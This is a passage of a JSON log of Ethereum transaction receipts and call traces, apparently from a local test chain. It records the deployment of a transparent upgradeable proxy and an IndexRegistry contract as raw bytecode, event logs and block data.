0000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x2783c15f23dac4e544deb568f901b0277f84541b93554d923a8a117123272b40","block_number":1},{"info":{"transaction_hash":"0x5dead20b4c3f813eda86ad0db00804216aad53392b85ccdd5cd198703ebdb975","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xf5059a5d33d5853360d16c683c16e67980206f36","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xf5059a5d33d5853360d16c683c16e67980206f36","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","gas_used":464703,"gas_limit":636293,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","nonce":37,"gas_used":572955},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8be1b","logs":[{"address":"0xf5059a5d33d5853360d16c683c16e67980206f36","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0xf5059a5d33d5853360d16c683c16e67980206f36","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000c00010000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000400000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x1f1359dfd62a62c1a2cfc68f2840b3e0077619e94891dc28b236eeb3e44a1dd3","block_number":5},{"info":{"transaction_hash":"0xbeced7d5f4e7a504b477c9fd0098a017da0c8e5b69cd0c85f79710fc40857447","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x4826533b4897376654bb4d4ad88b7fafd0c98528","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x4826533b4897376654bb4d4ad88b7fafd0c98528","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60a060405234801561001057600080fd5b506040516113a63803806113a683398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b60805161123a61016c60003960008181610142015281816102750152818161040f01526107d6015261123a6000f3fe608060405234801561001057600080fd5b50600436106100b35760003560e01c8063890262451161007157806389026245146101b3578063a48bb0ac146101d3578063bd29b8cd146101e6578063caa3cd76146101f9578063e2e685801461020f578063f34109221461025557600080fd5b8062bff04d146100b857806312d1d74d146100e157806326d941f2146101155780632ed583e51461012a5780636d14a9871461013d5780638121906f1461017c575b600080fd5b6100cb6100c6366004610eac565b610268565b6040516100d89190610f28565b60405180910390f35b6100f46100ef366004610f9c565b6103be565b60408051825163ffffffff16815260209283015192810192909252016100d8565b610128610123366004610fcf565b610404565b005b6100f4610138366004610fea565b610528565b6101647f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100d8565b61018f61018a366004610fcf565b6105ae565b60408051825163ffffffff90811682526020938401511692810192909252016100d8565b6101c66101c1366004610f9c565b6105f5565b6040516100d8919061102d565b61018f6101e1366004610f9c565b610754565b6101286101f4366004610eac565b6107cb565b610201600081565b6040519081526020016100d8565b61024061021d366004611065565b600160209081526000928352604080842090915290825290205463ffffffff1681565b60405163ffffffff90911681526020016100d8565b610240610263366004610fcf565b6108d5565b6060336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146102bb5760405162461bcd60e51b81526004016102b29061108f565b60405180910390fd5b60008267ffffffffffffffff8111156102d6576102d6611102565b6040519080825280602002602001820160405280156102ff578160200160208202803683370190505b50905060005b838110156103b357600085858381811061032157610321611118565b919091013560f81c60008181526003602052604081205491935090915081900361035d5760405162461bcd60e51b81526004016102b29061112e565b6000610368836108f4565b905061037f898461037a600185611199565b6109f1565b8085858151811061039257610392611118565b63ffffffff9290921660209283029190910190910152505050600101610305565b5090505b9392505050565b60408051808201909152600080825260208201526103dc8383610a7b565b60408051808201909152815463ffffffff168152600190910154602082015290505b92915050565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461044c5760405162461bcd60e51b81526004016102b29061108f565b60ff8116600090815260036020526040902054156104c65760405162461bcd60e51b815260206004820152603160248201527f496e64657852656769737472792e63726561746551756f72756d3a2071756f72604482015270756d20616c72656164792065786973747360781b60648201526084016102b2565b60ff166000908152600360209081526040808320815180830190925263ffffffff438116835282840185815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055565b604080518082019091526000808252602082015260ff8416600090815260026020908152604080832063ffffffff8088168552925290912080549091841690811061057557610575611118565b600091825260209182902060408051808201909152600290920201805463ffffffff168252600101549181019190915290509392505050565b60408051808201909152600080825260208201526105cb82610ad3565b60408051808201909152905463ffffffff8082168352600160201b90910416602082015292915050565b606060006106038484610b15565b905060008163ffffffff1667ffffffffffffffff81111561062657610626611102565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8263ffffffff1681101561074b5761066e868287610c4a565b82828151811061068057610680611118565b6020026020010181815250506000801b8282815181106106a2576106a2611118565b6020026020010151036107435760405162461bcd60e51b815260206004820152605d60248201527f496e64657852656769737472792e6765744f70657261746f724c69737441744260448201527f6c6f636b4e756d6265723a206f70657261746f7220646f6573206e6f7420657860648201527f6973742061742074686520676976656e20626c6f636b206e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611118565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108135760405162461bcd60e51b81526004016102b29061108f565b60005b818110156108cf57600083838381811061083257610832611118565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112e565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111bd565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b600184611199565b63ffffffff168152602081019190915260400160009081205490036103b75760ff8416600090815260026020526040812090610988600184611199565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111da565b81548110610abc57610abc611118565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111da565b81548110610b0357610b03611118565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111da565b81548110610b5d57610b5d611118565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b90920481169383019390935290925090861610610baa576020015192506103fe915050565b5080610bb5816111ed565b915050610b2a565b5060405162461bcd60e51b815260206004820152605560248201527f496e64657852656769737472792e5f6f70657261746f72436f756e744174426c60448201527f6f636b4e756d6265723a2071756f72756d20646964206e6f742065786973742060648201527430ba1033b4bb32b710313637b1b590373ab6b132b960591b608482015260a4016102b2565b60ff8316600090815260026020908152604080832063ffffffff86168452909152812054805b8015610d155760ff8616600090815260026020908152604080832063ffffffff891684529091528120610ca46001846111da565b81548110610cb457610cb4611118565b600091825260209182902060408051808201909152600290920201805463ffffffff9081168084526001909201549383019390935290925090861610610d02576020015192506103b7915050565b5080610d0d816111ed565b915050610c70565b50600095945050505050565b600080610d2d83610ad3565b8054909150600090610d4e90600190600160201b900463ffffffff16611199565b90506103b7848383610d85565b600080610d688484610a7b565b6001810154909150610d7d8585846000610e23565b949350505050565b815463ffffffff438116911603610dba57815463ffffffff8216600160201b0267ffffffff0000000019909116178255505050565b60ff83166000908152600360209081526040808320815180830190925263ffffffff438116835285811683850190815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055505050565b815463ffffffff438116911603610e4057600182018190556108cf565b60ff93909316600090815260026020818152604080842063ffffffff968716855282528084208151808301909252438716825281830197885280546001808201835591865292909420905191909202909101805463ffffffff1916919094161783559251919092015550565b600080600060408486031215610ec157600080fd5b83359250602084013567ffffffffffffffff80821115610ee057600080fd5b818601915086601f830112610ef457600080fd5b813581811115610f0357600080fd5b876020828501011115610f1557600080fd5b6020830194508093505050509250925092565b6020808252825182820181905260009190848201906040850190845b81811015610f6657835163ffffffff1683529284019291840191600101610f44565b50909695505050505050565b803560ff81168114610f8357600080fd5b919050565b803563ffffffff81168114610f8357600080fd5b60008060408385031215610faf57600080fd5b610fb883610f72565b9150610fc660208401610f88565b90509250929050565b600060208284031215610fe157600080fd5b6103b782610f72565b600080600060608486031215610fff57600080fd5b61100884610f72565b925061101660208501610f88565b915061102460408501610f88565b90509250925092565b6020808252825182820181905260009190848201906040850190845b81811015610f6657835183529284019291840191600101611049565b6000806040838503121561107857600080fd5b61108183610f72565b946020939093013593505050565b6020808252604d908201527f496e64657852656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865207265676973747260608201526c3c9031b7b7b93234b730ba37b960991b608082015260a00190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60208082526035908201527f496e64657852656769737472792e72656769737465724f70657261746f723a206040820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff8281168282160390808211156111b6576111b6611183565b5092915050565b63ffffffff8181168382160190808211156111b6576111b6611183565b818103818111156103fe576103fe611183565b6000816111fc576111fc611183565b50600019019056fea2646970667358221220af8de4d3486e0b797de225bb92c1953126cca4d69399c73bf6885ce4485dc52464736f6c63430008180033000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36","output":"0x608060405234801561001057600080fd5b50600436106100b35760003560e01c8063890262451161007157806389026245146101b3578063a48bb0ac146101d3578063bd29b8cd146101e6578063caa3cd76146101f9578063e2e685801461020f578063f34109221461025557600080fd5b8062bff04d146100b857806312d1d74d146100e157806326d941f2146101155780632ed583e51461012a5780636d14a9871461013d5780638121906f1461017c575b600080fd5b6100cb6100c6366004610eac565b610268565b6040516100d89190610f28565b60405180910390f35b6100f46100ef366004610f9c565b6103be565b60408051825163ffffffff16815260209283015192810192909252016100d8565b610128610123366004610fcf565b610404565b005b6100f4610138366004610fea565b610528565b6101647f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b6040516001600160a01b0390911681526020016100d8565b61018f61018a366004610fcf565b6105ae565b60408051825163ffffffff90811682526020938401511692810192909252016100d8565b6101c66101c1366004610f9c565b6105f5565b6040516100d8919061102d565b61018f6101e1366004610f9c565b610754565b6101286101f4366004610eac565b6107cb565b610201600081565b6040519081526020016100d8565b61024061021d366004611065565b600160209081526000928352604080842090915290825290205463ffffffff1681565b60405163ffffffff90911681526020016100d8565b610240610263366004610fcf565b6108d5565b6060336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146102bb5760405162461bcd60e51b81526004016102b29061108f565b60405180910390fd5b60008267ffffffffffffffff8111156102d6576102d6611102565b6040519080825280602002602001820160405280156102ff578160200160208202803683370190505b50905060005b838110156103b357600085858381811061032157610321611118565b919091013560f81c60008181526003602052604081205491935090915081900361035d5760405162461bcd60e51b81526004016102b29061112e565b6000610368836108f4565b905061037f898461037a600185611199565b6109f1565b8085858151811061039257610392611118565b63ffffffff9290921660209283029190910190910152505050600101610305565b5090505b9392505050565b60408051808201909152600080825260208201526103dc8383610a7b565b60408051808201909152815463ffffffff168152600190910154602082015290505b92915050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461044c5760405162461bcd60e51b81526004016102b29061108f565b60ff8116600090815260036020526040902054156104c65760405162461bcd60e51b815260206004820152603160248201527f496e64657852656769737472792e63726561746551756f72756d3a2071756f72604482015270756d20616c72656164792065786973747360781b60648201526084016102b2565b60ff166000908152600360209081526040808320815180830190925263ffffffff438116835282840185815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055565b604080518082019091526000808252602082015260ff8416600090815260026020908152604080832063ffffffff8088168552925290912080549091841690811061057557610575611118565b600091825260209182902060408051808201909152600290920201805463ffffffff168252600101549181019190915290509392505050565b60408051808201909152600080825260208201526105cb82610ad3565b60408051808201909152905463ffffffff8082168352600160201b90910416602082015292915050565b606060006106038484610b15565b905060008163ffffffff1667ffffffffffffffff81111561062657610626611102565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8263ffffffff1681101561074b5761066e868287610c4a565b82828151811061068057610680611118565b6020026020010181815250506000801b8282815181106106a2576106a2611118565b6020026020010151036107435760405162461bcd60e51b815260206004820152605d60248201527f496e64657852656769737472792e6765744f70657261746f724c69737441744260448201527f6c6f636b4e756d6265723a206f70657261746f7220646f6573206e6f7420657860648201527f6973742061742074686520676976656e20626c6f636b206e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b